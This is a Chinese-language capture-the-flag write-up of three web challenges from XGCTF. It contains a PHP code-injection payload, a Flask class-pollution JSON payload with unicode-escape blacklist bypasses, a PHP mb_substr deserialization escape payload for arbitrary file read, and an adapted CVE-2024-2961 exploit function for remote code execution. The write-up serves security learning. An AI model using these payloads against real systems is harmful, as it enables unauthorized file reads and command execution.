XGCTF web部分wp
gaorenyusi 2024-08-07 09:33:01 阅读 54
web部分wp
CodeInject
开题就几行代码:
没有任何过滤,直接构造进行闭合:
<code>1);system("ls /");//
读取flag
easy_polluted
下载附件得到源码
<code>from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)code>
app.run(host='0.0.0.0', port=5000)code>
先看两个路由,/路由是获得session并且对 Evil 使用了merge方法,不难想到可能是原型链污染。
继续看/admin路由,看到满足条件if username == "adminer" and password == app.secret_key
就会得到flag。
所以大概思路就是通过原型链污染app.secret_key
的值,然后构造session来满足条件。
payload
{ -- -->"__init__":{ "__globals__":{ "app":{ "secret_key":"123"}}}}
通过json格式发送,发现有黑名单,unicode编码进行绕过,
{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u0061\u0070\u0070":{ "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123"}}}}
然后就是session的构造了,直接post传参
username=adminer&password=123
然后看见返回包返回了个Set-Cookie
,访问路由/admin并添加此session。
竟然没有flag,
搜索flask原型链污染发现可以通过污染来修改修改相应的语法标识符
<code>{ -- -->
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[#","variable_end_string":"#]"
}
}
}
}
同样进行unicode编码
{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u0061\u0070\u0070":{ "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{ "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"}}}}}
最后污染后再次访问,渲染成功,得到flag
Ezzz_php
开题:
<code><?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{ -- -->
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";code>
public function __construct($start){ -- -->
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}
看到mb_strpos
和mb_substr
,猜测可能是利用两个函数解析差异进行字符串逃逸
看到最后关键处是file_get_contents($this->filename);
,那么覆盖filename
为我们想读的文件即可。
参考黄河流域就知道 %9f 可以增加一个字符,但是这里和那里还有一点区别,这里需要通过控制$start 来控制长度,因为反序列化不能有不可见字符,需要长度刚刚好。
如构造
?start=gnxgnxgnxgnxnx&read=%9f%9f%9f%9f%%9f%9f%%9f%9f%9f%9f%%9f%9f%%9f9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:17:"/usr/sbin/nologin";}
现在能任意文件读取了,但是不知道 flag 文件名,试了试伪协议发现没用,放弃了,不会。
赛后 wp 复现,发现竟然是个 cve,
CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行
exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
把参考的 pyload 改一下就行,这里直接看 wp 改的
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
""" payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
filename_len = "a" * (len(path) + 10)
url = self.url+f"?start={ filename_len}&read={ payload}"
return self.session.get(url)
然会下载依赖直接就能命令执行了 (需要 python3.10 及以上而且要 linux 环境)
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
参考官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1?dver=
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。